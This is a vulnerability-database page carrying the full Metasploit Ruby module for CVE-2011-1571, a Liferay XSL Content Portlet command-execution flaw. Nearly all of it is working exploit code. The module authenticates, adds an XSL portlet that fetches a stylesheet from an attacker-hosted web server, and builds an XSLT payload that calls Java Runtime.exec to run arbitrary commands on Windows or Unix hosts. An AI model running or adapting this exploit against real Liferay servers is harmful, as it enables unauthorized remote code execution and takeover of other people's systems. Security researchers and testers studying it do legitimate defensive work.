Lucene search

K
seebugRootSSV:72764
HistoryJul 01, 2014 - 12:00 a.m.

Liferay XSL - Command Execution

2014-07-0100:00:00
Root
www.seebug.org
24

EPSS

0.018

Percentile

88.3%

$Id$

This file is part of the Metasploit Framework and may be subject to

redistribution and commercial restrictions. Please see the Metasploit

Framework web site for more information on licensing and terms of use.

http://metasploit.com/framework/

require โ€˜msf/coreโ€™
require โ€˜active_support/jsonโ€™

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
    super(update_info(info,
        'Name'           =&gt; 'Liferay XSL Command Execution',
        'Description'    =&gt; %q{
        This module exploits a vulnerability in the XSL parser of the
        XSL Content Portlet.  When Tomcat is present, arbitrary code
        can be executed via java calls in the data fed to the Xalan
        XSLT processor. If XSLPAGE is defined, the user must have rights
        to change the content of that page (to add a new XSL portlet),
        otherwise it can be left blank and a new one will be created.
        The second method however, requires administrative privileges.
        },
        'Author'    =&gt; 
            [
                # SecureState R&I Team - Special Thanks To Jake Garlie, Chris Murrey
                'Spencer McIntyre',
                'SecureState R&I Team', # SecureState Research and Innovation Team
                'Nicolas Gregoire', # authored the vulnerability details provided in the wiki
            ],
        'License'        =&gt; MSF_LICENSE,
        'Version'        =&gt; '$Revision: $',
        'References'     =&gt;
            [
                [ 'CVE', '2011-1571' ],
                [ 'URL', 'http://xhe.myxwiki.org/xwiki/bin/view/XSLT/Application_Liferay' ],
            ],
        'Privileged'     =&gt; false,
        'Platform'    =&gt; [ 'win', 'linux', 'unix' ],
        'Stance'      =&gt; Msf::Exploit::Stance::Aggressive,
        'Payload'        =&gt;
            {
                'DisableNops' =&gt; true,
                'Compat'      =&gt;
                    {
                        'PayloadType' =&gt; 'cmd',
                    }
            },
        'Arch'           =&gt; ARCH_CMD,
        'Targets'        =&gt;
            [
                [ 'Automatic',                      { 'groupid' =&gt; 0,    'pauth' =&gt; false } ],
                [ 'Liferay 5.2.3 (Tomcat/JBoss)',   { 'groupid' =&gt; 16,   'pauth' =&gt; false } ],
                [ 'Liferay 6.0.0 (Tomcat/JBoss)',   { 'groupid' =&gt; 18,   'pauth' =&gt; false } ],
                [ 'Liferay 6.0.1-6 (Tomcat/JBoss)', { 'groupid' =&gt; 18,   'pauth' =&gt; true  } ],
            ],
        'DisclosureDate' =&gt; 'January 12, 2011', # Liferay portal issue # 14726
        'DefaultTarget'  =&gt; 0))
     
    register_options(
        [
            Opt::RPORT(8080),
            OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
            OptString.new('PASSWORD', [ true, 'The password for the specified username', ]),
            OptString.new('XSLPAGE',  [ false, 'Full path to the page to add an XSL portlet to, (default: random)', nil ]),
            OptString.new('PATH',     [ true,  'The URI path of the portal', '/' ]),
        ], self.class)
end
 
def auto_target(headers)
    print_status("Attempting to automatically select a target...")
    case headers['liferay-portal']
    when /5.2.3/
        return targets[1]
    when /6.0.0/
        return targets[2]
    when /6.0.[1-6]/
        return targets[3]
    end
    return nil
end

def exploit
    print_status('Logging in and creating a page to embed XSL Content into...')
    res = send_request_cgi({
        'method'    =&gt; 'GET',
        'uri'       =&gt; datastore['PATH'] + 'web/guest/home'
    })
     
    mytarget = target
    if (target.name =~ /Automatic/)
        mytarget = auto_target(res.headers)
        if (not mytarget)
            raise RuntimeError, "Unable to automatically select a target"
        end
        print_status("Automatically selected target \"#{mytarget.name}\"")
    else
        print_status("Using manually select target \"#{mytarget.name}\"")
    end
    sessionid = 'JSESSIONID=' &lt;&lt; res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
    cookie = "#{sessionid}; COOKIE_SUPPORT=true"
     
    app_base = rand_text_alphanumeric(8+rand(8))
    new_page = datastore['XSLPAGE'] || rand_text_alphanumeric(8+rand(8))
    malicious_url = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{app_base}"
    @xsl_data = run_cmd_with_xsl(payload.encoded)   # this is really the data returned for XSL and XML requests
    service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri
    print_status("Starting up our web service on #{service_url} ...")
    start_service({'Uri' =&gt; {
            'Proc' =&gt; Proc.new { |cli, req|
                on_request_uri(cli, req, 'XSL')
            },
            'Path' =&gt; '/' + app_base + '.xsl'
    }})
    start_service({'Uri' =&gt; {
            'Proc' =&gt; Proc.new { |cli, req|
                on_request_uri(cli, req, 'XML')
            },
            'Path' =&gt; '/' + app_base + '.xml'
    }})
     
    res = send_request_cgi({
        'method'    =&gt; 'POST',
        'uri'       =&gt; datastore['PATH'] + 'web/guest/home?p_p_id=58&p_p_lifecycle=1&p_p_state=normal&p_p_mode=view&p_p_col_id=column-1&p_p_col_count=1&saveLastPath=0&_58_struts_action=%2Flogin%2Flogin',
        'data'      =&gt; "_58_redirect=&_58_rememberMe=false&_58_login=#{Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal')}&_58_password=#{Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal')}",
        'cookie'    =&gt; cookie
    })
     
    if res.code != 302
        print_error('Login failed.')
        return
    end
     
    cookie = ''
    for cookie_i in [ 'JSESSIONID=', 'LOGIN=', 'SCREEN_NAME=', 'COMPANY_ID=', 'ID=', 'PASSWORD=', 'REMEMBER_ME=' ]
        cookie &lt;&lt; cookie_i + res.headers['set-cookie'].split(cookie_i)[1].split('; ')[0] + '; '
    end
    xml_http_request_headers = { 'X-Requested-With' =&gt; 'XMLHttpRequest' }

    if datastore['XSLPAGE'] == nil  # the page was not defined, so we try to create a new one
        res = send_request_cgi({
            'method'     =&gt; 'POST',
            'uri'        =&gt; datastore['PATH'] + 'c/layout_management/update_page',
            'data'       =&gt; "mainPath=%2Fc&doAsUserId=&cmd=add&groupId=#{mytarget['groupid']}&privateLayout=false&parentLayoutId=0&name=#{new_page}",
            'cookie'     =&gt; cookie,
            'headers'    =&gt; xml_http_request_headers,
        })
        if res.code != 200 or res.body == ""
            print_error('Could not create a new page to embed the XSL Content into...')
            return
        end
        new_page = datastore['PATH'] + 'web/guest/' + URI.parse(ActiveSupport::JSON.decode(res.body)['url']).path.split('/')[-1] # could possible be different and have a number at the end
        print_status("Successfully created page #{new_page}, now configuring XSL...")
    else
        new_page = datastore['PATH'] + 'web/guest/' + datastore['XSLPAGE']
    end
     
    res = send_request_cgi({
        'method'    =&gt; 'GET',
        'uri'       =&gt; new_page,
        'cookie'    =&gt; cookie
    })
     
    plid = /getPlid:function\(\)\{return"[\d]{3,7}"}/i.match(res.body)[0][26..-3].to_i
    layoutid = /getLayoutId:function\(\)\{return\"[\d]{1,5}\"\}/i.match(res.body)[0][30..-3].to_i
    if mytarget['pauth']
        pauth = 'p_auth=' + /\?p_auth=[a-zA-Z0-9]{3,12}&/i.match(res.body)[0][8..-6] + '&'
    else
        pauth = '' # versions prior to 6.0.1 do not require a p_auth token
    end
     
    res = send_request_cgi({
        'method'     =&gt; 'POST',
        'uri'        =&gt; datastore['PATH'] + 'c/portal/update_layout',
        'data'       =&gt; "p_l_id=#{plid}&p_p_id=102&p_p_col_id=column-1&p_p_col_pos=0&doAsUserId=&dataType=json&cmd=addยคtURL=#{Rex::Text.uri_encode(new_page, 'hex-normal')}",
        'cookie'     =&gt; cookie,
        'headers'    =&gt; xml_http_request_headers,
    })
    if res.code != 200
        print_error('Could not create a new page to embed the XSL Content into...')
        return
    end
     
    portletid = /p_p_id_[\d]{1,4}_INSTANCE_[a-zA-Z0-9]{2,5}/i.match(res.body)[0][7..-1]
     
    res = send_request_cgi({
        'method'     =&gt; 'POST',
        'uri'        =&gt; "#{new_page}?#{pauth}p_p_id=86&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&_86_struts_action=%2Fportlet_configuration%2Fedit_configuration&_86_returnToFullPageURL=#{Rex::Text.uri_encode(new_page, 'hex-normal')}&_86_portletResource=#{portletid}&_86_previewWidth=450",
        'data'       =&gt; "_86_cmd=update&_86_xmlURL=#{Rex::Text.uri_encode(malicious_url, 'hex-normal')}.xml&_86_xslURL=#{Rex::Text.uri_encode(malicious_url, 'hex-normal')}.xsl",
        'cookie'     =&gt; cookie,
    })
     
    if res.code != 200
        print_error('Could not configure the XSL Portlet')
        return
    end
     
    print_status("Successfully configured XSL Portlet, requesting page to execute code...")
    res = send_request_cgi({
        'method'    =&gt; 'GET',
        'uri'       =&gt; new_page,
        'cookie'    =&gt; cookie
    })
     
    # wait for the data to be sent
    waited = 0
    while (not @xsl_sent)
        select(nil, nil, nil, 1)
        waited += 1
        if (waited &gt; 30)
            raise RuntimeError, 'Server did not request XSL data -- Maybe it cant connect back to us?'
        end
    end
     
    print_status("Shutting down the web service...")
    stop_service
    return
     
    res = send_request_cgi({
        'method'     =&gt; 'POST',
        'uri'        =&gt; datastore['PATH'] + 'c/portal/update_layout',
        'cookie'     =&gt; cookie,
        'data'       =&gt; "p_l_id=#{plid}&p_p_id=#{portletid}&doAsUserId=&cmd=delete"
    })
     
    if datastore['XSLPAGE'] == nil  # we created the page, so delete it
        res = send_request_cgi({
            'method'     =&gt; 'POST',
            'uri'        =&gt; datastore['PATH'] + 'c/layout_management/update_page',
            'data'       =&gt; "doAsUserId=&cmd=delete&groupId=#{mytarget['groupid']}&privateLayout=false&layoutId=#{layoutid}",
            'cookie'     =&gt; cookie,
            'headers'    =&gt; xml_http_request_headers,
        })
    end
end
 
# Handle incoming requests from the server
def on_request_uri(cli, request, resource)
    print_status("Sending the #{resource} File to the server...")
    send_response(cli, @xsl_data)
    @xsl_sent = true
end
 
def run_cmd_with_xsl(cmd)
    varpayload = rand_text_alpha(10+rand(8))
    varruntime = rand_text_alpha(10+rand(8))
    varproc = rand_text_alpha(10+rand(8))
    payload =  "&lt;xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:jv=\"http://xml.apache.org/xalan/java\" exclude-result-prefixes=\"jv\" version=\"1.0\"&gt;\n"
    payload &lt;&lt; " &lt;xsl:template match=\"/\"&gt;\n"
    payload &lt;&lt; "  &lt;xsl:variable name=\"#{varruntime}\" select=\"jv:java.lang.Runtime.getRuntime()\"/&gt;\n"
    payload &lt;&lt; "  &lt;xsl:variable name=\"osversion\" select=\"jv:java.lang.System.getProperty('os.name')\"/&gt;\n"
    payload &lt;&lt; "  &lt;xsl:variable name=\"osversion\" select=\"jv:toLowerCase($osversion)\"/&gt;\n\n"
     
    payload &lt;&lt; "  &lt;xsl:choose&gt;\n"
    payload &lt;&lt; "   &lt;xsl:when test=\"contains($osversion,'windows')\"&gt;\n"
    payload &lt;&lt; "    &lt;xsl:variable name=\"#{varpayload}\"&gt;&lt;![CDATA[#{cmd}]]&gt;&lt;/xsl:variable&gt;\n"
    payload &lt;&lt; "    &lt;xsl:variable name=\"#{varproc}\" select=\"jv:exec($#{varruntime}, $#{varpayload})\"/&gt;\n"
    payload &lt;&lt; "   &lt;/xsl:when&gt;\n\n"
     
    payload &lt;&lt; "   &lt;xsl:otherwise&gt;\n"
    payload &lt;&lt; "    &lt;xsl:variable name=\"#{varpayload}\"&gt;&lt;![CDATA[/bin/sh ==== -c ==== #{cmd}]]&gt;&lt;/xsl:variable&gt;\n"
    payload &lt;&lt; "    &lt;xsl:variable name=\"#{varpayload}\" select=\"jv:split($#{varpayload}, ' ==== ')\"/&gt;\n"
    payload &lt;&lt; "    &lt;xsl:variable name=\"#{varproc}\" select=\"jv:exec($#{varruntime}, $#{varpayload})\"/&gt;\n"
    payload &lt;&lt; "   &lt;/xsl:otherwise&gt;\n"
    payload &lt;&lt; "  &lt;/xsl:choose&gt;\n\n"
     
    payload &lt;&lt; " &lt;/xsl:template&gt;\n"
    payload &lt;&lt; "&lt;/xsl:stylesheet&gt;\n"
    payload
end

end